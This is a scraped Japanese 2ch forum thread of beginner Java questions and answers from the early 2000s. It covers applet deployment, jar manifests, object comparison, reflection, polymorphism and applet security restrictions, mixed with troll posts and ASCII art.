0596594=595
NGNGどうすればよいのでしょうか。
0597デフォルトの名無しさん
NGNG無理やり書くと
for(str==A;str==Z;str=次の文字){
処理
}
こんな感じのことをしたいのです。
一旦文字コードに変換して1足して文字に戻せばいいのでしょうか?
その場合どうコードを書いていいのかも教えてください。
ところで、関数の名前から使用法を書いた文献はあちこちに沢山あるのですが、
こんなことをしたいって内容からどの関数を使ったらよいのかということが
書いてある本はあるんでしょうか?あったら是非教えてください。
0598597
NGNGA->B->C->D->...->Zという風にしたいのです。
0599>>597
NGNGclass printAlphabet{
public static void main(String[] args){
for(int i=0; i<=25; i++){
System.out.print((char)('A'+i));
}
System.out.println("");
}
}
0600>597
NGNGSystem.out.print((char)i);
これのほうがいいかな
0601597
NGNG文字に数値を足すと(charに変換後)文字になるというのがちょっと不思議なんですが
文字をシングルクォートで囲んでリテラルにすると
文字コードを意味するという認識でいいのでしょうか?
それとも、基本的に文字は全て文字コードという数値であり
人間の便宜の為にABCDなどの文字で代用しているという考え方のほうが
いいのでしょうか?
ん〜複雑ですね。
0602デフォルトの名無しさん
NGNGWindows ならコントロールパネルの「地域」の設定を英語にする
UNIX系ならLANG環境変数にen_USとかCとか
最近のJDKって英語版にも日本語リソース入ってたっけ?
なんか実行環境に日本語版(またはリソースファイル)が紛れ混んでる?
0603594
NGNG一応両方アンインストールしてから1.3.1にしてみたんですけどね。。
そもそもインストーラからして日本語表示でしたが(藁)。
とりあえず地域を英語にしたら英語メッセージになりました。
ありがとうございます>602。
1.1系で慣れていたのでJava2では日本語メッセージがどうにもわかりにくかったんです。。
0604デフォルトの名無しさん
NGNGこちらではjava.util.Random、IEで動きますよ。
0605ネタ男
NGNGそうなんですか、まだ5.0だからいけないのかもしれないので
今日5.5にバージョン上げてみます。どうもです。
0606助けてください
NGNGわかりやすく解説してるホームページなどご存知の方
教えてください。
0607デフォルトの名無しさん
NGNG0608デフォルトの名無しさん
NGNGウェブサイトを見るよりも、本を買ったほうがいいよ。
大きい書店に行って、片っ端から読んでみるべし。
0609デフォルトの名無しさん
NGNG参考までにjava学習のための良書を紹介。
分りやすそうなのを一冊買って、みっちり勉強するべし。
http://mentai.2ch.net/test/read.cgi/prog/1000542653/10
0610デフォルトの名無しさん
NGNG0611
NGNGint read()
int read(byte[] b, int off, int len)
の時はー1
それ以外は EOFException
0612
NGNG↑ゴミ
0613デフォルトの名無しさん
NGNG0614デフォルトの名無しさん
NGNGサーバー上でXMLを扱う場合に、Coccon?とJAXPのどちらを使っても良いのですか?
Cocconはサーブレットですが、JAXPを使ってサーブレットを作っても良いのですか?
的を得た質問になっていないかもしれませんがよろしくお願いします。
両者の違いは何なんでしょう?
HTMLからデーターを得て、
XMLは個人データーのデーターベースとして利用したいのです。
そして、JSPで一覧表示したいのですが。
0615デフォルトの名無しさん
NGNGhttp://dictionary.goo.ne.jp/cgi-bin/jp-more_print.cgi?MT=%C5%AA&ID=a4de/19188600.txt&sw=2
0616デフォルトの名無しさん
NGNGありがと!で
本文いついては、的を射たレスなしですか。おねがいします。
0617名無しでGO!
NGNGというのをつくったのですが、自分のパソコンでは動くのに、ホームページに
UPすると、灰色の画面だけしか出ません。
I.E.の左下には
error.java.lang.NoclassDefFounderror:Lesson12$1
とか出てます。
何か解決法はないでしょうか?
以下、ソースです。
import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
public class Lesson12 extends Applet{
Button myBtn;
Image myImg;
int flag;
public void init(){
add(myBtn = new Button("写真"));
myBtn.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e){
flag = 1;
repaint();
}
});
myImg = getImage(getDocumentBase(),"photo1.JPG");
flag = 0;
}
public void paint(Graphics g){
if (flag == 0);
else
g.drawImage(myImg,20,20,this);
}
}
0618デフォルトの名無しさん
NGNGLesson12$1.classっていうファイルもいっしょにUPすれ
っていうかできたclassファイルは全部あげとけ
http://www.gimlay.org/~javafaq/S013.html#S013-03
0619名無しでGO!
NGNGI succeeded!
0620デフォルトの名無しさん
NGNGブラウザやOS変えると動かない事が多くって・・
0621デフォルトの名無しさん
NGNGDebug anywhere.
0622デフォルトの名無しさん
NGNG"Hello World"なら動く
0623620
NGNG逝キソウ・・・
0624デフォルトの名無しさん
NGNG世界を一つの環境で統一する。
0625sage
NGNGていうか、今時webのクライアントサイドでjavaってなんか意味あんの?
0626デフォルトの名無しさん
NGNGDOS画面が出ないようにするにはどうすれば良いでしょうか。
0627デフォルトの名無しさん
NGNG臨時ニュースです。
「Rubyはクソです。ゴミ箱逝きです。 いじょ 」
この発言をコピペしていただければ幸いです。
___________ __________
‖ \|________
‖ | ON AIR.|
‖  ̄ ̄ ̄ ̄
./ ̄ ̄θ ∧_∧
.../ //(^∀^ )/|
./  ̄/⊂ ||_/
| ̄ ̄ ̄ ̄ ̄| ( ━┳┛
|_____| /ヽ」┘┻
0628デフォルトの名無しさん
NGNG0629デフォルトの名無しさん
NGNGショートカットで"javaw.exe Hoge.class"とか
jarにjavaw -jarを関連付けるとか
JavaWebStart使うとか
http://java-house.etl.go.jp/ml/archive/j-h-b/026374.html#body
0630629
NGNG○ "javaw.exe Hoge"
すまねぇ
.
0632デフォルトの名無しさん
NGNGない。と思う。以前はなかった。いまも、多分ない。
詳しく調べたのはjdk1.2の時代だけど。
0633582
NGNG遅レスすいません、ありがとうございます。
0634デフォルトの名無しさん
NGNG教えてガッテン!
0635デフォルトの名無しさん
NGNG大差ないって
0636デフォルトの名無しさん
NGNGでも他の言語も含めて一般的にはインスタンスだよ。
0637デフォルトの名無しさん
NGNGオブジェクトとは違い、
インスタンスは、何かに所属する臭いがある。
〜のインスタンスって感じで。
これは個人的見解なので、参考にならないかも。
0638名無しサンプリング@48kHz
NGNG環境変数 LANG=C;
0639デフォルトの名無しさん
NGNGインスタンスは、「具体的に扱う事のできるもの」として具現化されたオブジェクト。
0640デフォルトの名無しさん
NGNGそれとも、Shallow Comparison ですか??
分かる人教えて・・・
0641コメント無しさん
NGNGオブジェクトのインスタンスという言い方ができるわけだね。
たとえば、「コメント無しさん」というオブジェクトは、2chでたた
かれる分には、どこにいようがあまり問題にならない。
「デフォルトの名無しさん」としては、適当に「氏ね」メソッドなど
を発行するわけだ。
でも、もし、ネットオークションでさぎなんかやっちゃうと、実体
つまりインスタンスが問題になるのだね。
0642デフォルトの名無しさん
NGNG0643デフォルトの名無しさん
NGNGそもそも片方だけで用語統一しているものも多い
総合すると結局「大差ない」という結論しか出ないような。
0644デフォルトの名無しさん
NGNGDeepが、文字列比較という意味で、Shallowが、同じオブジェクトか
どうかの比較という意味なら、javaでは == は、どんなクラスでも
同じオブジェクトかどうかの比較しかしない。
演算子のオーバーロードはできないから。(ストリングの + は例外)
0645デフォルトの名無しさん
NGNG>オブジェクトのインスタンスという言い方ができるわけだね。
この文脈でいけば、オブジェクト=クラスのインスタンス、でしょう。
インスタンスというのは何かを実体化したものを指すわけで、単にインスタンス
といっただけでは何を指すかはわかりません。例えばプロセス=プログラムの
インスタンス、ということもいえるわけです。
0646コメント無しさん
NGNG(・∀・)イイ
0647デフォルトの名無しさん
NGNGConparison=比較だよね。
Deep Conparison=メンバフィールドの中身を追って比較
Shallow Comparison=メンバフィールド自身のみの比較
じゃねえかな。
つうことは、==比較はShallow Comparisonさえやってないよ。
単なる参照自身の比較。同じインスタンスでないとtrueにならない。
equals()がなにやっているのかは実装依存。
例えば、
Object#equals()の実装は==比較しかしていない。
String#equals()の実装は、メンバフィールドにある文字列データの比較。
(↑これがShallow Comparisonじゃないかな?まあ、委譲の階層がない
からShallowもDeepもないけど)
List#equals()の実装は、要素それぞれにたいしてequals()比較
して、全てtrueならtrue。
(↑これが、Deep Comparisonということになるかな?)
0648デフォルトの名無しさん
NGNGDeep Comparison → Equals?
で良い?
0649デフォルトの名無しさん
NGNGが正しい
0650>> 648 649のつづき
NGNG>>つうことは、==比較はShallow Comparisonさえやってないよ。
をどう読むと
Shallow Comparison → Same Object?
になるんだ?
Javaより国語読解力をつけるのが先のようなきがする
0651デフォルトの名無しさん
NGNG手っ取り早くgifやjpgを読みこむためにはappletクラスをわざわざ使わなければならないのでしょうか?
0652デフォルトの名無しさん
NGNGうんにゃ
Image image = Toolkit.getDefautToolkit.getImage("filename.jpg");
0653デフォルトの名無しさん
NGNGswingのImageIcon使うのはどう思う?
自分はいつもそうやっている。
0654inakamono
NGNGキュリティプログラミング」っていう本にCryptix
のダウンロードって言うのが書いてあったんで
cryptix3.2をダウンロードしたんですがインスト
ールがうまくいきません。どうやったらいいのか
教えてください。
0655デフォルトの名無しさん
NGNGjarで固めたファイルを実行してもなぜか上のようなエラーが出てしまいます。
mainメソッドもちゃんと記述しているのになぜなんでしょうか、
ソースは↓です'(コンパイル可能)。
-----------------------------
import java.awt.*;
import java.awt.event.*;
public class sample extends Frame{
public static void main(String[] args){
//ウィンドウ開く
Frame f=new sample();
f.show();
}
public void sample(){
// 設定
setSize(500,500);
setTitle("sample");
// メニューバー
MenuBar mb=new MenuBar();
Menu m1=new Menu("ファイル");
MenuItem 開く,終了;
m1.add(開く=new MenuItem("開く"));
m1.addSeparator();
m1.add(終了=new MenuItem("終了"));
mb.add(m1);
setMenuBar(mb);
// 終了が押された時
終了.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e){
System.exit(0);
}
});
// 右上の×押された時
addWindowListener(new WindowAdapter(){
public void windowClosing(WindowEvent e){
System.exit(0);
}
});
}
}
0656デフォルトの名無しさん
NGNGネタじゃないよね。
そう仮定した上で、まず、コードがミス。
>public void sample(){
これはコンストラクタじゃない。だから、以下のコードは、mainでは実行されない。
次に、
>sample/class
が出ているのは、コマンドラインでjava sample.classとかやってるのでは。
.classはいらない。
イジョ
0657デフォルトの名無しさん
NGNGネタじゃあないです。
voidを消してみても同様のエラーが出ます。
コマンドラインでは
java -jar app.jar
とやっています(app.jarはソースをコンパイルして固めておいたモノです)。
0658名無しでGO!
NGNG写真の名前だけ変えたのですが、自分のパソコンでは動くのに
upすると、3枚目しか出ません。
なぜでしょう?
0659名無しでGO!
NGNGimport java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
public class simano3 extends Applet{
Button btn1;
Button btn2;
Button btn3;
Panel myPanel1;
Image[] myImg;
int flag;
public void init(){
//背景色の設定
//setBackground(Color.white);
//画像のロード
myImg = new Image[3];
myImg[0] = getImage(getDocumentBase(), "sima.JPG");
myImg[1] = getImage(getDocumentBase(), "minamino.JPG");
myImg[2] = getImage(getDocumentBase(), "funeno.JPG");
//レイアウト用パネルの作成
myPanel1 = new Panel();
//パネルのレイアウト方式を設定
myPanel1.setLayout(new GridLayout(1, 3));
0660名無しでGO!
NGNGmyPanel1.add(btn1 = new Button("島へ"));
myPanel1.add(btn2 = new Button("熱帯の木"));
myPanel1.add(btn3 = new Button("船));
//ボーダーレイアウトを設定
setLayout(new BorderLayout());
//画像消去ボタンを作成
//add(btnClear = new Button("画像を消す"));
//パネルをNorth(上部)に配置
add ("North", myPanel1);
//ボタンのイベント処理メソッドを定義
btn1.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e){
flag = 1;
repaint();
}
});
btn2.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e){
flag = 2;
repaint();
}
});
btn3.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e){
flag = 3;
repaint();
}
});
flag = 0;
}
public void paint(Graphics g){
switch (flag) {
case 0:
break;
case 1:
g.drawImage(myImg[0], 140, 80, this);
break;
case 2:
g.drawImage(myImg[1], 140, 80, this);
break;
case 3:
g.drawImage(myImg[2], 140, 80, this);
break;
}
}
}
0661656
NGNG>voidを消してみても同様のエラーが出ます。
というのは当然で、これはプログラムが実行できてから問題になる部分だから。
まず、jarファイルのMANIFEST.MFのMain-Class属性の指定が、多分sample.class
となっている。ここは、.classは付けてはだめ。
これを直せば動くはず。
その前に
java -cp app.jar sample
とやってみて。これで動かなければ、まだ何か問題があるということ。
0662デフォルトの名無しさん
NGNG画像ファイルがちゃんと存在するとして、それが表示されないのは、
画像がダウンロードされない内に、表示しようとしているからでは?
java.awt.MediaTrackerを使ってみれば。
詳細は、APIドキュメントとか、インターネットで検索するとかしてみて。
0663名無しでGO!
NGNGjavaファイルの名前を変えて、やりなおすとどうにか動きました。
実は、それでも最初は3枚中2枚しか出ないとかあったのですが、
いろいろ変更しているとついに出るようになりました。
具体的には、
upするときに順序をsima$3.classからにする、
画像ファイルの名前を短いものに変える(これが
どう改善に結びついたのか不明ですが。)、などした結果、
表示には成功しました。
原因が不明なのがいまひとつ気持ち悪いですが。
>java.awt.MediaTrackerを使ってみれば。
情報、ありがとうございます。
今日は眠いので、明日でも見てみます。
0664デフォルトの名無しさん
NGNGjava -cp app.jar sampleではちゃんと実行できました。
0665デフォルトの名無しさん
NGNG0666デフォルトの名無しさん
NGNG★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
Del厨断末鬼の叫び!!!
拙い言いがかりからRubyを必死に煽ろうとしたDel厨が逆襲を受けて死亡!
理論的にDelphiはRubyの足元にも及ばないことが証明された!!!
「Ruby撲滅スレ」
http://piza2.2ch.net/test/read.cgi/tech/1001125342/
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
0667デフォルトの名無しさん
NGNG誰ですか?ストリームなんてお馬鹿な概念作り出したのは?
0668デフォルトの名無しさん
NGNGストリームはとても便利な概念だとおもうけど、何が不満なの?
0669デフォルトの名無しさん
NGNG0670デフォルトの名無しさん
NGNG<br/>を含めれば可能。
0671 ◆GpSwX8mo
NGNG0672kiki
NGNG変数の宣言の場所は、クラスの宣言のすぐあとの時とか
そうでない場合とかあるようなのですが、
決まりがあるのでしょうか・・
0673デフォルトの名無しさん
NGNG21:\12288は不正な文字です。
というのですが、\12288なんてつかってません。
ソースは、
import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
public class Lesson14a extends Applet{
Button myBtn1;
Button myBtn2;
Panel myPanel;
Label myLbl;
int flag;
public void init(){
flag = 0;
setBackground(Color.blue);
setLayout(new BorderLayout());
myBtn1 = new Button("押すな");
myBtn2 = new Button("押して");
0674デフォルトの名無しさん
NGNGその後は
myPanel = new Panel();
myPanel.setLayout(new GridLayout(1,2));
myPanel.add(myBtn1);
myPanel.add(myBtn2);
myLbl = new Label("", Label.RIGHT);
add ("North", myPanel);
add("Center", myLbl);
myBtn1.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e){
flag = 1;
repaint();
}
});
myBtn2.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e){
repaint();
flag = 2;
}
});
}
public void paint(Graphics g){
if (flag == 1)
myLbl.setText("逝ってよし");
if (flag == 2)
myLbl.setText("O.K.");
else if (flag == 0)
myLbl.setText("");
}
}
0675デフォルトの名無しさん
NGNG超インチキな技
必要に応じて
{
変数宣言
処理
}
caseの中で一時変数を使いたいときに良くやる。多分、外道。
0676>>673
NGNGどっかに全角文字はいってんじゃないの?
0677デフォルトの名無しさん
NGNG\なんとかってのはたぶん全角空白のUNICODEだろ
0678デフォルトの名無しさん
NGNG>caseの中で一時変数を使いたいときに良くやる。多分、外道。
javaでは、使いたいときに変数を宣言できるようになっている。
だから、これは外道でなく正統派の使い方。ローカル変数のス
コープは、宣言されたブロック内で、そのブロック内のどこで
宣言しても問題ない。
必要なローカル変数は、その場でどんどん宣言して使おう。
0679678
NGNGこれも、クラス内の、メソッドの外側(内側ではローカル変数になる)
ならどこでもいいんだけど、メンバ変数はクラスにとって重要なもの
だから、いいかげんに宣言して使うというのはまずい。
一般に、クラスの最初、または最後に置かれているのをよく見る。
自分で決めて一貫してそのスタイルで通せばいいんじゃない。
0680675
NGNG正統なのか・・・
でも、この書き方を繰り返していくとローカル変数名が
ダブったときにひとつ上のローカル変数とかの参照とか
出来るのか出来ないのか調べないとわからなくなるような
ことがあるから邪道だと思ってました。
{
int i;
i=1;
{
int i;
i=2;
★
}
}
★のとこで i が2通りあるけど両方参照しるには?
実際にこういうコードは書かないけど挙動は知りたい。
0681678
NGNG>そのブロック内のどこで 宣言しても問題ない。
これは、
>その変数を使うコードより前なら、ブロック内のどこで
>宣言しても問題ない。
という意味ね。
0682デフォルトの名無しさん
NGNGコンパイルエラーじゃないの?
0683678
NGNGそのコードをコンパイルしてみれば分かるけど、エラーではねられる。
だから安心して大丈夫。
0684675
NGNG0685名無し
NGNGある本に出ていた、ボタンを押すとラベルに字が出るようにするというのを
やってみたけど、これって出る文章を途中で改行できないんですか??
ソースを改行すると、その行でカッコを閉じていないということでエラーが出るし。
0686デフォルトの名無しさん
NGNGSwingのJLabelならできるよ。htmlでテキストを記述すれば、そのように
表示される。ただし、Swing 1.1.1 Beta 1 or compatible releases.
だけどね。
0687デフォルトの名無しさん
NGNGjdk1.2.2以降は標準で入ってたと思ったけど。
0688デフォルトの名無しさん
NGNG他の会社の開発したライブラリを使って開発しているんですが、
ライブラリがバージョンアップしたら、マニュアルに新しい
パッケージが追加されていたんですよ。
で、早速使ってみようとしたらimportできない。調べたら確かに
それらしいクラスが見当たらない。classpathを追加しなきゃ
ならんのかと調べてみたけど、やはりそれらしいファイルが無い。
ライブラリの会社に質問したら「javadocに全て書いてある、
マニュアルを読め」と怒られた。ああ、どうせ俺はダメPGさ。
それで質問なんですが、パッケージの名前とディレクトリ名とが
一致しないことって有るんですか?
もうひとつ質問です。実は先月末にまたライブラリがバージョン
アップしたんですが、問題のパッケージ丸ごとマニュアルから
消えていました。それについて一言の説明も有りません。
納得いかないのですが、今度はこっちが怒っていい?
0689デフォルトの名無しさん
NGNG棒グラフなどを表示する際の
fillRectとfill3DRectの違いを教えてください
0690デフォルトの名無しさん
NGNGその下二桁を「00」にしたint型数値を取得したいの
ですが、どうやればいいのですか。
12345678 → 12345600
0691デフォルトの名無しさん
NGNG0692690
NGNGおぉ、頭いいな。サンキュー。
0693デフォルトの名無しさん
NGNGjavadocをアップしてくれないかな?
>それについて一言の説明も有りません
を確認してあげるよ
>>689
使ってみればわかるよ
0694デフォルトの名無しさん
NGNG0695802
NGNG0696デフォルトの名無しさん
NGNGどのようにしたら良いのでしょうか?
右も左もわからぬ憐れな初心者に是非、恵みをお与えくださいませ
0697デフォルトの名無しさん
NGNGRuntime#exec()を使用する。
0698デフォルトの名無しさん
NGNGmailを送信するプログラム書いてます。
でも、PASSコマンドを受け付けてくれないのです。
この辺に知ってる人いますか?
0700初心者―子猫
NGNG表示するiアプリを作りたいんですが、良い参考
書は何?
教えてください。
私はVBAが分かる程度の知識です。
0701デフォルトの名無しさん
NGNGJAVAPRESS
0702初心者―子猫
NGNGありがとうございました。
0703699
NGNGセキュリティの外し方はどのようにしたらよいのでしょう?
java.io.FilePermission
java.lang.RuntimePermission
に関して何かしら処理をしなければならないようなのですが・・・
どなたかご教示をお願いします
0704デフォルトの名無しさん
NGNGメモ帳を自作しろ
0705デフォルトの名無しさん
NGNGJAVAの問題じゃないと思うけど
>セキュリティの外し方はどのようにしたらよいのでしょう?
アプレットがセキュリティの設定を変えられるとしたら、
それはバグです
目的がメモ帳なら
>>704
の言ってる事はかなり的確ですが
0706デフォルトの名無しさん
NGNG0707デフォルトの名無しさん
NGNG0708デフォルトの名無しさん
NGNGポリシーファイル書き換えれば?
0709703
NGNGレスありがとうございます。
おおもとの目的はアプレットからメモ帳などの外部アプリケーションを
開くことなのでメモ帳にこだわっているわけではないんです。
セキュリティを緩めればそれが可能みたいなので
その方法を模索しているのですがどうしてもわからなくて・・・
>708
はい、そのようにすれば良いらしいということはわかるのですが
その方法がわからなくて・・・すみません
0710デフォルトの名無しさん
NGNGhttp://www.kg-group.com
0711お願いします
NGNG誰かやり方を教えてください。
0712osiete
NGNG0713がばろん@Mたんちゅきちゅき
NGNG目的が、いまいちわかんないけど、これじゃだめ?
http://java.sun.com/products/javawebstart/ja/index_ja.html
どうしてもアプレットでなきゃだめなら自分用にしか使えないけど、
ブラウザのセキュリティ設定をいじれば、いいんじゃない?
#IEなら「インターネットオプション」の「セキュリティ」の
#「レベルのカスタマイズ」の「Javaの許可」のとこ。
あと、とりあえずポリシーファイルについてのリンク。
デフォルトの Policy の実装とポリシーファイルの構文
http://java.sun.com/j2se/1.3/ja/docs/ja/guide/security/PolicyFiles.html
0714デフォルトの名無しさん
NGNG書き込みたいディレクトリやファイルに
サーブレットエンジンプロセスの起動ユーザに対する
適切な書き込み許可権限が設定されていれば
問題なく保存できる。
98/meなどのセキュリティ概念のないOSでtomcat等でサーブレットを実行してるなら
そもそも書き込み制限すらできない。
0715デフォルトの名無しさん
NGNGウイルスメール作ってるんだよね?
0716デフォルトの名無しさん
NGNGJavaで、バイナリファイルの読み書きはできるのでしょうか。
アプレットとしてブラウザで動かす予定です。
できるか否かでいいのでご存じの方いませんか?
0717デフォルトの名無しさん
NGNG0718711
NGNG違いますよ〜。
VBアプリ上から、OutlookExpressでメールを送りたいって言う要望があったんですけど
APIのShellExecuteでメールソフトが立ち上がる所までは分かったんですけど、件名や
本文の付け方までで、添付ファイルの付け方が分からないんです。
知ってたら教えてください。
お願いします。
0719デフォルトの名無しさん
NGNGすれちがい。VBすれにいけ。
0720711
NGNGどっちにしようか迷ったんですけど、「mailto:」を使ってるんで、こっちの
領域じゃないかと思ったんですけどね。
せめて、「mailto:」で添付ファイルも付けてメールソフトを立ち上げる事が
出来るかどうかだけでも教えて欲しい。
0721デフォルトの名無しさん
NGNGJAVAをもう少し知って欲しいな
出来るだろうけど、全く知らない
ShellExecuteってなんだよ?
0722711
NGNGJAVAやってる人ならHTMLも知っていますよね?
HTMLでメールを送る時に、
<P><A href="mailto:a.jp?Subject=b">サブジェクト</A></P>
を使うと、a.jpって言うメールアドレスを指定して、bって件名を付けたメール
ソフトが立ち上がるじゃないですか?
その時についでに添付ファイルの指定も出来ないか教えて欲しいんです。
ShellExecuteは、とりあえず忘れてください。
0723VB厨房
NGNGネットワークプログラムでバイトデータをバケットに乗せるときに、
文字エンコーディングは通例"x-euc-jp"or"shift_jis"のどっちでやるもんなんだァ?
おせーて(100%日本語依存アプリ)
0724デフォルトの名無しさん
NGNGここ行け。
http://homepage2.nifty.com/sak/w_sak3/doc/sysbrd/vb_t08.htm
0725デフォルトの名無しさん
NGNG"esperanto" にしろ。
0726VB厨房
NGNGゴルァ!その通りにやったら
NullPointer例外出して逝っちまったじゃねえか!
ネタかYO!
0727デフォルトの名無しさん
NGNG"x-euc-jp" にしやがれ!
0728VB厨房
NGNGUTF-8だな?サンクスコ!
┌─┐
|も.|
|う |
│来│
│ね│
│え .|
│よ .|
バカ ゴルァ │ !!.│
└─┤ プンプン
ヽ(`Д´)ノ ヽ(`Д´)ノ (`Д´)ノ ( `Д)
| ̄ ̄ ̄|─| ̄ ̄ ̄|─| ̄ ̄ ̄|─□( ヽ┐U
〜 〜  ̄◎ ̄ . ̄◎ ̄  ̄◎ ̄ ◎−>┘◎
0730osiete
NGNG教えてください
C:\jakarta\jakarta-tomcat-3.2.3\lib\servlet.jar xxxxx.java
じゃ何も起こらない
0731デフォルトの名無しさん
NGNGTomcatはコンパイラなのか。
0732osiete
NGNGていうか、サーブレットでインストール以降の設定の仕方が訳わかりません
0733山中
NGNG呼び出す方法は何かないでしょうか?
知っている方がいたら教えていただけないでしょうか。
よろしくお願いします。
public class Test {
private static String[] test = {"test1()", "test2()"};
public static void main(String[] args) {
Test obj = new Test();
for(int i = 0; i < 2; i++) {
obj.test[i];
}
}
public void test1(int i) {
System.out.println("test1");
}
public void test2(int i) {
System.out.println("test2");
}
}
0734デフォルトの名無しさん
NGNGCLASSPATHにservlet.jarとtools.jarを追加しろ。
こんなん検索エンジンで調べりゃすぐにわかるだろ。
バカチン
0735デフォルトの名無しさん
NGNGjava.lang.refrect
0736デフォルトの名無しさん
NGNGjava.lang.reflect.Method
0737デフォルトの名無しさん
NGNGなんつうかCの呪縛に縛られてる気がする。
0740山中
NGNGお返事ありがとうございます。
申し訳ないですが、もう少し桑すく教えていただけませんか。
よろしくお願いします。
0741デフォルトの名無しさん
NGNG頑張れ。オレも先月まではそのレベルだったよ。
0742デフォルトの名無しさん
NGNG標準APIのjavadocを読め
読んでわからんようじゃ使えないから安心しろ
0743デフォルトの名無しさん
NGNG0745デフォルトの名無しさん
NGNGstartupしたらブラウザからhttp://localhost:8080/
0747デフォルトの名無しさん
NGNGGUIその他のイベンド処理(一種のコールバック)でも似たようなことをやる。
>>736を使うと遅くてめんどくさいよ
リフレクションは
コンパイル時に呼び出したいクラスやメソッドが決められない時に使う
最終手段と思ったほうが良い。
public class Test {
public static void main(String[] args) {
Test obj = new Test();
obj.callTest();
}
private testCall[] test = {new Test1(),new Test2()};
void callTest(){
for( int i=0; i < test.length; i++ ){
test[i].test( i );
}
}
public void test1(int i) {
System.out.println("test1");
}
public void test2(int i) {
System.out.println("test2");
}
interface testCall{
void test( int i );
}
public class Test1 implements testCall{
public void test( int i ){
test1( i );
}
}
public class Test2 implements testCall{
public void test( int i ){
test2( i );
}
}
}
0748デフォルトの名無しさん
NGNG一定時間ごとに前に出す以外に。
0749デフォルトの名無しさん
NGNG0750デフォルトの名無しさん
NGNGもうちょっと具体的にいってくれませんでしょうか?
または参考になるサイトなどがあれば良いんですが…
0751デフォルトの名無しさん
NGNGそんなことするなよ
0752デフォルトの名無しさん
NGNGいまランチャーが作りたくてしょうがないんです。
0753デフォルトの名無しさん
NGNGワラタ
0754デフォルトの名無しさん
NGNGSwingによるJAVAGUIプログラミングIIIによると
JLayeredPaneなるものがある。
http://java.sun.com/j2se/1.3/docs/api/index.html
0755デフォルトの名無しさん
NGNGブラウザでは出来ん・・・なんででしょか
あーコマッタ
0756デフォルトの名無しさん
NGNG・オーバーロード
・オーバーライド
ってこと?
「同じ名前だけど別物だよ」って意味だよね?
0757756
NGNG0758デフォルトの名無しさん
NGNGnotepad.exeが起動できちまうようなら
format.exeだって起動できるだろが!
アプレットプログラム側から制限解除する方法はない。
あったとしたらそれはセキュリティホールと呼ばれることになるだろう。
ユーザーに手作業でブラウザ設定させてセキュリティー制限を
ゆるめてもらえ
0759デフォルトの名無しさん
NGNGオーバーロードは関係ない。
オーバーライドは関係が深い。
「同じ名前だけど別物だよ」って意味ではない。
0760デフォルトの名無しさん
NGNGoverride
overload
だよね
0761756
NGNGあれれ。そうですか。。
ちょっと本を調べなおしてみます。
ってのも、本によって微妙に書いている内容が違う気がして
混乱してるんです。。>ポリモルフィズム
0762デフォルトの名無しさん
NGNGポリモーフィズムは、そんなに特別なことじゃないよ。
例えば、以下のコードは、ポリモーフィズムの例。
public class TestPoly{
public static void main (String[] args) {
Object[] obj = new Object[3];
obj[0] = new Object();
obj[1] = new Integer(1);
obj[2] = new String("Hi, there.");
for (int i=0; i<3; i++) {
System.out.println(obj[i].toString());
}
}
}
配列objには、3つのオブジェクトの参照が入っている。どれも
Objectを継承したクラスのインスタンスで、当然、toString()
メソッドを持っている。
しかし、IntegerとStringのtoString()は、Objectクラスの定義の
ままでなくそれぞれオーバーライドされている。だから、それぞれに
ふさわしい内容が出力される。
ごく当たり前のことだけど、これもポリモーフィズム。
0763デフォルトの名無しさん
NGNG特定Webページの宣伝に荷担する行為はOKみたいですね。
0764デフォルトの名無しさん
NGNGオーバーライドは理解できそうだな
サンキュウ>>763
0765デフォルトの名無しさん
NGNGそして、Otokoクラスにのみ chinko というインスタンス変数があり
getChinko というインスタンスメソッドで読み出せます。
このとき、あるメソッドがNingenオブジェクト(hito)を受け取って
それが Otoko か Onna かを判断して Otokoなら chinkoを読みたい。
if ( hito.getClass.toString.IndexOf("Otoko") )
{ System.out.println("Chinko "+((Otoko)hito).getChinko); }
と、かなりまわりくどいことをしていますが、もう少しイイ方法ない?
0766デフォルトの名無しさん
NGNGそらダサいな。NingenにはgetASOKO()っていう抽象メソッド
があって、Otoko, OnnaクラスでgetASOKO()メソッドを実装する。
getASOKO()のかえりちはASOKOインスタンスで、っていうふうに
するだろ、普通。
0767765
NGNG当然そうすべきなのですが、諸般の事情(上司と部下の対立とか)により
その方法は却下されてしまいました。
というわけで、せめて判定のところだけでもスマートにしたいです・・・
0768デフォルトの名無しさん
NGNG0769765
NGNG{ System.out.println("Chinko "+((Otoko)hito).getChinko); }
って感じで使うんですかね。
こんな便利なのがあったなんて知らなかったですよ。ありがとう
0770ひげおやじ ★
NGNGどちらに書いて良いのか良く分からなくなったので、こちらにも書きます。
JBuilder4でホイールを使用できるようにするプラグインを探していたのですが
過去ログより見つけられました。
Java相談室2より
74 名前:壊れプログラマ〜 投稿日:2001/02/22(木) 06:00
ぐるぐるでけた! 便利すぎて涙でそう。
http://www.developpez.com/java/opentools/jbWheel.zip を展開して、
jarをJBuilderの/lib/extにコピー
dllをJBuilderの/jdk1.3/binにコピーしたら動いた。
早速試してみます。ありがとうございました。
んじゃ
0771HOE
NGNG0772755
NGNGたびたびすみません
ブラウザのセキュリティーをいろいろいじってみたんですが
notepad開いてくれません・・・プログラムに問題あるのかな。
アプレットビューアだと問題ないので大丈夫だと思うのですが。
具体的にセキュリティーのどの部分をいじれば良いのでしょうか?
0773758ではないが
NGNGブラウザからクライアントのアプリケーションを起動できないのは
プログラムの問題ではなく
Javaの仕様で、どうにもならんのではなかったかな。
(758が言ってるのはそういうことだと思うが)
テキストファイルを表示させたいなら、
テキストファイルビューアを自前で作るとか、
ブラウザの別ウィンドウ開かせてURLを〜.txtにするとか、
別の方法を考えたほうがいいと思われ。
0774772
NGNGえっと、>758は
>ユーザーに手作業でブラウザ設定させてセキュリティー制限を
>ゆるめてもらえ
IEの場合、ツール→インターネットオプション→セキュリティ
のあたりをいじるって事だと思ったんですが違いましたか。
0775デフォルトの名無しさん
NGNGレベルのカスタマイズ→JAVA→JAVAの許可→安全性-低
